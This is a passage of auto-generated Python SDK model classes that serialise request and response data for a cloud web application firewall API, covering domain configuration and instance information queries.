self.write_time = write_time\n self.resource_group_id = resource_group_id\n self.cname = cname\n self.source_ips = source_ips\n self.connection_time = connection_time\n self.https_port = https_port\n\n def validate(self):\n if self.cloud_native_instances:\n for k in self.cloud_native_instances:\n if k:\n k.validate()\n if self.log_headers:\n for k in self.log_headers:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomain, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n result['CloudNativeInstances'] = []\n if self.cloud_native_instances is not None:\n for k in self.cloud_native_instances:\n result['CloudNativeInstances'].append(k.to_map() if k else None\n )\n if self.http_to_user_ip is not None:\n result['HttpToUserIp'] = self.http_to_user_ip\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n result['LogHeaders'] = []\n if self.log_headers is not None:\n for k in self.log_headers:\n result['LogHeaders'].append(k.to_map() if k else None)\n if self.is_access_product is not None:\n result['IsAccessProduct'] = self.is_access_product\n if self.access_headers is not None:\n result['AccessHeaders'] = self.access_headers\n if self.access_header_mode is not None:\n result['AccessHeaderMode'] = self.access_header_mode\n if self.https_redirect is not None:\n result['HttpsRedirect'] = self.https_redirect\n if self.load_balancing is not None:\n result['LoadBalancing'] = self.load_balancing\n if self.ip_follow_status is not None:\n result['IpFollowStatus'] = self.ip_follow_status\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.version is not None:\n result['Version'] = self.version\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.read_time is not None:\n result['ReadTime'] = self.read_time\n if self.write_time is not None:\n result['WriteTime'] = self.write_time\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.cname is not None:\n result['Cname'] = self.cname\n if self.source_ips is not None:\n result['SourceIps'] = self.source_ips\n if self.connection_time is not None:\n result['ConnectionTime'] = self.connection_time\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n self.cloud_native_instances = []\n if m.get('CloudNativeInstances') is not None:\n for k in m.get('CloudNativeInstances'):\n temp_model = (\n DescribeDomainResponseBodyDomainCloudNativeInstances())\n self.cloud_native_instances.append(temp_model.from_map(k))\n if m.get('HttpToUserIp') is not None:\n self.http_to_user_ip = m.get('HttpToUserIp')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n self.log_headers = []\n if m.get('LogHeaders') is not None:\n for k in m.get('LogHeaders'):\n temp_model = DescribeDomainResponseBodyDomainLogHeaders()\n self.log_headers.append(temp_model.from_map(k))\n if m.get('IsAccessProduct') is not None:\n self.is_access_product = m.get('IsAccessProduct')\n if m.get('AccessHeaders') is not None:\n self.access_headers = m.get('AccessHeaders')\n if m.get('AccessHeaderMode') is not None:\n self.access_header_mode = m.get('AccessHeaderMode')\n if m.get('HttpsRedirect') is not None:\n self.https_redirect = m.get('HttpsRedirect')\n if m.get('LoadBalancing') is not None:\n self.load_balancing = m.get('LoadBalancing')\n if m.get('IpFollowStatus') is not None:\n self.ip_follow_status = m.get('IpFollowStatus')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ReadTime') is not None:\n self.read_time = m.get('ReadTime')\n if m.get('WriteTime') is not None:\n self.write_time = m.get('WriteTime')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('Cname') is not None:\n self.cname = m.get('Cname')\n if m.get('SourceIps') is not None:\n self.source_ips = m.get('SourceIps')\n if m.get('ConnectionTime') is not None:\n self.connection_time = m.get('ConnectionTime')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n return self\n\n\nclass DescribeDomainResponseBody(TeaModel):\n\n def __init__(self, request_id=None, domain=None):\n self.request_id = request_id\n self.domain = domain\n\n def validate(self):\n if self.domain:\n self.domain.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.domain is not None:\n result['Domain'] = self.domain.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('Domain') is not None:\n temp_model = DescribeDomainResponseBodyDomain()\n self.domain = temp_model.from_map(m['Domain'])\n return self\n\n\nclass DescribeDomainResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainAdvanceConfigsRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain_list=None,\n resource_group_id=None):\n self.instance_id = instance_id\n self.domain_list = domain_list\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain_list is not None:\n result['DomainList'] = self.domain_list\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('DomainList') is not None:\n self.domain_list = m.get('DomainList')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile(TeaModel):\n\n def __init__(self, http_2port=None, ipv_6status=None, http_port=None,\n gslbstatus=None, rs=None, vip_service_status=None, cluster_type=\n None, exclusive_vip_status=None, cname=None, cert_status=None,\n https_port=None, resolved_type=None):\n self.http_2port = http_2port\n self.ipv_6status = ipv_6status\n self.http_port = http_port\n self.gslbstatus = gslbstatus\n self.rs = rs\n self.vip_service_status = vip_service_status\n self.cluster_type = cluster_type\n self.exclusive_vip_status = exclusive_vip_status\n self.cname = cname\n self.cert_status = cert_status\n self.https_port = https_port\n self.resolved_type = resolved_type\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(\n DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n if self.ipv_6status is not None:\n result['Ipv6Status'] = self.ipv_6status\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n if self.gslbstatus is not None:\n result['GSLBStatus'] = self.gslbstatus\n if self.rs is not None:\n result['Rs'] = self.rs\n if self.vip_service_status is not None:\n result['VipServiceStatus'] = self.vip_service_status\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.exclusive_vip_status is not None:\n result['ExclusiveVipStatus'] = self.exclusive_vip_status\n if self.cname is not None:\n result['Cname'] = self.cname\n if self.cert_status is not None:\n result['CertStatus'] = self.cert_status\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n if self.resolved_type is not None:\n result['ResolvedType'] = self.resolved_type\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n if m.get('Ipv6Status') is not None:\n self.ipv_6status = m.get('Ipv6Status')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n if m.get('GSLBStatus') is not None:\n self.gslbstatus = m.get('GSLBStatus')\n if m.get('Rs') is not None:\n self.rs = m.get('Rs')\n if m.get('VipServiceStatus') is not None:\n self.vip_service_status = m.get('VipServiceStatus')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ExclusiveVipStatus') is not None:\n self.exclusive_vip_status = m.get('ExclusiveVipStatus')\n if m.get('Cname') is not None:\n self.cname = m.get('Cname')\n if m.get('CertStatus') is not None:\n self.cert_status = m.get('CertStatus')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n if m.get('ResolvedType') is not None:\n self.resolved_type = m.get('ResolvedType')\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponseBodyDomainConfigs(TeaModel):\n\n def __init__(self, profile=None, domain=None):\n self.profile = profile\n self.domain = domain\n\n def validate(self):\n if self.profile:\n self.profile.validate()\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponseBodyDomainConfigs,\n self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.profile is not None:\n result['Profile'] = self.profile.to_map()\n if self.domain is not None:\n result['Domain'] = self.domain\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Profile') is not None:\n temp_model = (\n DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile())\n self.profile = temp_model.from_map(m['Profile'])\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponseBody(TeaModel):\n\n def __init__(self, request_id=None, domain_configs=None):\n self.request_id = request_id\n self.domain_configs = domain_configs\n\n def validate(self):\n if self.domain_configs:\n for k in self.domain_configs:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['DomainConfigs'] = []\n if self.domain_configs is not None:\n for k in self.domain_configs:\n result['DomainConfigs'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.domain_configs = []\n if m.get('DomainConfigs') is not None:\n for k in m.get('DomainConfigs'):\n temp_model = (\n DescribeDomainAdvanceConfigsResponseBodyDomainConfigs())\n self.domain_configs.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainAdvanceConfigsResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainBasicConfigsRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain_key=None, access_type=None,\n cloud_native_product_id=None, page_number=None, page_size=None,\n resource_group_id=None):\n self.instance_id = instance_id\n self.domain_key = domain_key\n self.access_type = access_type\n self.cloud_native_product_id = cloud_native_product_id\n self.page_number = page_number\n self.page_size = page_size\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain_key is not None:\n result['DomainKey'] = self.domain_key\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.cloud_native_product_id is not None:\n result['CloudNativeProductId'] = self.cloud_native_product_id\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('DomainKey') is not None:\n self.domain_key = m.get('DomainKey')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('CloudNativeProductId') is not None:\n self.cloud_native_product_id = m.get('CloudNativeProductId')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeDomainBasicConfigsResponseBodyDomainConfigs(TeaModel):\n\n def __init__(self, status=None, domain=None, owner=None, cc_mode=None,\n cc_status=None, access_type=None, version=None, acl_status=None,\n waf_status=None, waf_mode=None):\n self.status = status\n self.domain = domain\n self.owner = owner\n self.cc_mode = cc_mode\n self.cc_status = cc_status\n self.access_type = access_type\n self.version = version\n self.acl_status = acl_status\n self.waf_status = waf_status\n self.waf_mode = waf_mode\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsResponseBodyDomainConfigs, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.owner is not None:\n result['Owner'] = self.owner\n if self.cc_mode is not None:\n result['CcMode'] = self.cc_mode\n if self.cc_status is not None:\n result['CcStatus'] = self.cc_status\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.version is not None:\n result['Version'] = self.version\n if self.acl_status is not None:\n result['AclStatus'] = self.acl_status\n if self.waf_status is not None:\n result['WafStatus'] = self.waf_status\n if self.waf_mode is not None:\n result['WafMode'] = self.waf_mode\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Owner') is not None:\n self.owner = m.get('Owner')\n if m.get('CcMode') is not None:\n self.cc_mode = m.get('CcMode')\n if m.get('CcStatus') is not None:\n self.cc_status = m.get('CcStatus')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('AclStatus') is not None:\n self.acl_status = m.get('AclStatus')\n if m.get('WafStatus') is not None:\n self.waf_status = m.get('WafStatus')\n if m.get('WafMode') is not None:\n self.waf_mode = m.get('WafMode')\n return self\n\n\nclass DescribeDomainBasicConfigsResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, domain_configs=None):\n self.total_count = total_count\n self.request_id = request_id\n self.domain_configs = domain_configs\n\n def validate(self):\n if self.domain_configs:\n for k in self.domain_configs:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['DomainConfigs'] = []\n if self.domain_configs is not None:\n for k in self.domain_configs:\n result['DomainConfigs'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.domain_configs = []\n if m.get('DomainConfigs') is not None:\n for k in m.get('DomainConfigs'):\n temp_model = (\n DescribeDomainBasicConfigsResponseBodyDomainConfigs())\n self.domain_configs.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeDomainBasicConfigsResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainBasicConfigsResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainListRequest(TeaModel):\n\n def __init__(self, resource_group_id=None, instance_id=None,\n domain_name=None, page_number=None, page_size=None, is_sub=None,\n domain_names=None):\n self.resource_group_id = resource_group_id\n self.instance_id = instance_id\n self.domain_name = domain_name\n self.page_number = page_number\n self.page_size = page_size\n self.is_sub = is_sub\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainListRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain_name is not None:\n result['DomainName'] = self.domain_name\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.is_sub is not None:\n result['IsSub'] = self.is_sub\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('DomainName') is not None:\n self.domain_name = m.get('DomainName')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('IsSub') is not None:\n self.is_sub = m.get('IsSub')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeDomainListResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, domain_names=None):\n self.total_count = total_count\n self.request_id = request_id\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainListResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeDomainListResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainListResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainListResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainNamesRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainNamesRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeDomainNamesResponseBody(TeaModel):\n\n def __init__(self, request_id=None, domain_names=None):\n self.request_id = request_id\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainNamesResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeDomainNamesResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainNamesResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainNamesResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainRuleGroupRequest(TeaModel):\n\n def __init__(self, domain=None, instance_id=None):\n self.domain = domain\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainRuleGroupRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass DescribeDomainRuleGroupResponseBody(TeaModel):\n\n def __init__(self, rule_group_id=None, request_id=None):\n self.rule_group_id = rule_group_id\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainRuleGroupResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.rule_group_id is not None:\n result['RuleGroupId'] = self.rule_group_id\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RuleGroupId') is not None:\n self.rule_group_id = m.get('RuleGroupId')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass DescribeDomainRuleGroupResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainRuleGroupResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainRuleGroupResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeInstanceInfoRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfoRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeInstanceInfoResponseBodyInstanceInfo(TeaModel):\n\n def __init__(self, status=None, end_date=None, version=None, remain_day\n =None, region=None, pay_type=None, in_debt=None, instance_id=None,\n subscription_type=None, trial=None):\n self.status = status\n self.end_date = end_date\n self.version = version\n self.remain_day = remain_day\n self.region = region\n self.pay_type = pay_type\n self.in_debt = in_debt\n self.instance_id = instance_id\n self.subscription_type = subscription_type\n self.trial = trial\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfoResponseBodyInstanceInfo, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.end_date is not None:\n result['EndDate'] = self.end_date\n if self.version is not None:\n result['Version'] = self.version\n if self.remain_day is not None:\n result['RemainDay'] = self.remain_day\n if self.region is not None:\n result['Region'] = self.region\n if self.pay_type is not None:\n result['PayType'] = self.pay_type\n if self.in_debt is not None:\n result['InDebt'] = self.in_debt\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.subscription_type is not None:\n result['SubscriptionType'] = self.subscription_type\n if self.trial is not None:\n result['Trial'] = self.trial\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('EndDate') is not None:\n self.end_date = m.get('EndDate')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('RemainDay') is not None:\n self.remain_day = m.get('RemainDay')\n if m.get('Region') is not None:\n self.region = m.get('Region')\n if m.get('PayType') is not None:\n self.pay_type = m.get('PayType')\n if m.get('InDebt') is not None:\n self.in_debt = m.get('InDebt')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('SubscriptionType') is not None:\n self.subscription_type = m.get('SubscriptionType')\n if m.get('Trial') is not None:\n self.trial = m.get('Trial')\n return self\n\n\nclass DescribeInstanceInfoResponseBody(TeaModel):\n\n def __init__(self, request_id=None, instance_info=None):\n self.request_id = request_id\n self.instance_info = instance_info\n\n def validate(self):\n if self.instance_info:\n self.instance_info.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfoResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.instance_info is not None:\n result['InstanceInfo'] = self.instance_info.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('InstanceInfo') is not None:\n temp_model = DescribeInstanceInfoResponseBodyInstanceInfo()\n self.instance_info = temp_model.from_map(m['InstanceInfo'])\n return self\n\n\nclass DescribeInstanceInfoResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfoResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeInstanceInfoResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeInstanceInfosRequest(TeaModel):\n\n def __init__(self, instance_source=None, instance_id=None,\n resource_group_id=None):\n self.instance_source = instance_source\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfosRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_source is not None:\n result['InstanceSource'] = self.instance_source\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceSource') is not None:\n self.instance_source = m.get('InstanceSource')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeInstanceInfosResponseBodyInstanceInfos(TeaModel):\n\n def __init__(self, status=None, end_date=None, remain_day=None, region=\n None, pay_type=None, in_debt=None, instance_id=None,\n subscription_type=None, trial=None):\n self.status = status\n self.end_date = end_date\n self.remain_day = remain_day\n self.region = region\n self.pay_type = pay_type\n self.in_debt = in_debt\n self.instance_id = instance_id\n self.subscription_type = subscription_type\n self.trial = trial\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfosResponseBodyInstanceInfos, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.end_date is not None:\n result['EndDate'] = self.end_date\n if self.remain_day is not None:\n result['RemainDay'] = self.remain_day\n if self.region is not None:\n result['Region'] = self.region\n if self.pay_type is not None:\n result['PayType'] = self.pay_type\n if self.in_debt is not None:\n result['InDebt'] = self.in_debt\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.subscription_type is not None:\n result['SubscriptionType'] = self.subscription_type\n if self.trial is not None:\n result['Trial'] = self.trial\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('EndDate') is not None:\n self.end_date = m.get('EndDate')\n if m.get('RemainDay') is not None:\n self.remain_day = m.get('RemainDay')\n if m.get('Region') is not None:\n self.region = m.get('Region')\n if m.get('PayType') is not None:\n self.pay_type = m.get('PayType')\n if m.get('InDebt') is not None:\n self.in_debt = m.get('InDebt')\n 